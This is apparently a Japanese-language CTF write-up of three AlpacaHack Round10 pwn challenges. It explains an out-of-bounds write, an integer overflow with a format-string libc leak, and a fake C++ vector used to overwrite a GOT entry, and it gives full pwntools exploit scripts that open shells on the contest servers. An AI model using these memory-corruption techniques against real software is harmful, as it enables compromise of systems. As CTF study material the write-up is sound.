tsune Help

AlpacaHack Round10 Jp

English: AlpacaHack Round10

Preface

私はAlpacaHack Round10 (Pwn)に参加しました. AlpacaHackはいつも刺激的な問題を提供し,過去の問題にも挑戦ができるプラットフォームです.

Round10では3問がユーザーランド,1問がカーネルでした.カーネルは解けなかったのでまた今度挑戦します.

Screenshot_20250323_171502.png

Oyster

L26の操作は一見文字列の最後にヌル文字を入れているように見えますがbuf[0]\0であればマイナスインデクスのoobが発生します.

buf[strlen(buf)-1] = '\0';
Screenshot_20250323_164627.png

password入力の際のbuf[-1]にはcred.errがあるためbufがヌル文字単体である場合にbuf[strlen(buf)-1] = '\0';によってcred.errが満たされます.

from pwn import * import sys e = ELF("oyster",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 44367" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) sl = lambda b: io.sendline(b) shell = lambda : io.interactive() sl(b"root") sl(b"\0") shell()

Kangaroo

自明なInteger Overflowがあります.計算したところ

-256204778801521543

のインデックスでoffsetが520になりました.よってg_message後方の関数ポインタが書き換えられます.

win関数は与えられていないためlibc leakをしなければシェルは取れません. 関数ポインタをprintf@pltに書き換えformat string bugを引き起こしlibc leakしました.

libc leakからsystemのアドレスを関数ポインタに入れ, g_messages/bin/sh\0を入れてから関数ポインタを呼び出しシェルを取りました :happy:

Writersideがエラーを出力するのでfsbペイロードを記事のexploitから削除しました. 完全なexploitはgistから入手してください.

https://gist.github.com/Yayoi-cs/94d97f8c1dca4f68177f6b0ec34620c0

from pwn import * import sys e = ELF("kangaroo_patched",checksec=False) libc = ELF("libc.so.6",checksec=False) ld = ELF("ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 54223" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data idx = -256204778801521543 print(ru(b"> ")) sl(b"1") print(ru(b"Index: ")) sl(str(0).encode()) print(ru(b"Message: ")) """ EDIT HERERERERERE https://gist.github.com/Yayoi-cs/94d97f8c1dca4f68177f6b0ec34620c0 EDIT HERERERERERE EDIT HERERERERERE """ print(ru(b"> ")) sl(b"1") print(ru(b"Index: ")) sl(str(7).encode()) print(ru(b"Message: ")) s(b"A"*0x48) paybyte(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") add64(e.plt["printf"]) print(ru(b"> ")) sl(b"1") print(ru(b"Index: ")) sl(str(idx).encode()) print(ru(b"Message: ")) sl(payload) leakidx = 8 diff = 0x2a1ca print(ru(b"> ")) sl(b"3") res = r() leak = res.split(b",")[leakidx] leak = int(leak,16) libc.address = leak - diff hlog(libc.address) paybyte(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") add64(libc.sym["system"]) sl(b"1") print(ru(b"Index: ")) sl(str(0).encode()) print(ru(b"Message: ")) sl(b"/bin/sh\x00") print(ru(b"> ")) sl(b"1") print(ru(b"Index: ")) sl(str(idx).encode()) print(ru(b"Message: ")) sl(payload) sl(b"3") shell()

Takahashi

Takahashiは誰ですか? この問題はAtcorderのソルバを題材にした問題のようです.

int Q; int QueryType[100009], x[100009]; priority_queue<int, vector<int>, greater<int>> T; int main() { cin >> Q; for (int i = 1; i <= Q; i++) { cin >> QueryType[i]; if (QueryType[i] == 1) cin >> x[i]; } for (int i = 1; i <= Q; i++) { if (QueryType[i] == 1) T.push(x[i]); if (QueryType[i] == 2) cout << T.top() << endl; if (QueryType[i] == 3) T.pop(); } return 0; } void win() { std::system("/bin/sh"); } // Gift :)

自明なoobがあり.bss領域でのoverflowが発生します.また,intのvector配列もグローバルに宣言されておりこちらも.bssに存在します.

待ってください,私達はDown Under CTF 2024のVector Overflowを思い出しました.この問題は私もwriteup:DUCTF Vector Overflowを書きました

typename _Tp_alloc_type::pointer _M_start; typename _Tp_alloc_type::pointer _M_finish; typename _Tp_alloc_type::pointer _M_end_of_storage;

C++においてVector型はこのように確保されます.データの実態はヒープ領域に確保されますがoobによって要素を書き換えることができればAAR/Wプリミティブを作成できます.

Partial RELROであることからGot overwriteができそうです.Win関数が提供されているためアドレス解決されていなかったmemmove@gotをwinアドレスに書き換えシェルを取りました.

_M_end_of_storageが枯渇するとvectorは新しい領域を今の領域の2倍のサイズでアロケートしてmemmoveします. memmove@gotに4バイト書き込むのに十分なvector構造体を偽装しました.

from pwn import * import sys e = ELF("a.out",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 34.170.146.252 55287" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 b *0x000000000040138d b *0x0000000000401426 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data qt_sz = 100009 tmp = input("go??????????????????????????") sl(str(100022).encode()) tmp = input("go??????????????????????????") """ gef> x/4gx 0x04c8860 0x4c8860 <T>: 0x00000000004db6c0 0x00000000004db6cc 0x4c8870 <T+16>: 0x00000000004db6d0 0x0000000000000000 """ win = 0x0401427 sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) sl(b"4") sleep(0.1) paybyte(f"1\n4199463".encode()) sl(payload) paybyte(f"1\n0".encode()) sl(payload) paybyte(f"1\n4199463".encode()) sl(payload) paybyte(f"4".encode()) sl(payload) paybyte(f"1\n4199463".encode()) sl(payload) paybyte(f"4".encode()) sl(payload) paybyte(f"1\n4199463".encode()) sl(payload) paybyte(f"4".encode()) sl(payload) for i in range(qt_sz-3-8): #paybyte(f"1\n4199463".encode()) paybyte(f"4\n".encode()) sl(payload) for i in range(100022-qt_sz-7-4): paybyte(f"1\n4660".encode()) sl(payload) vec_new = 0x00405050 sl(f"1\n{str(vec_new-8)}".encode()) sl(f"1\n{str(0)}".encode()) sl(f"1\n{str(vec_new)}".encode()) sl(f"1\n{str(0)}".encode()) sl(f"1\n{str(vec_new+16)}".encode()) sl(f"1\n{str(0)}".encode()) sl(f"1\n{str(0)}".encode()) shell()
Last modified: 23 March 2025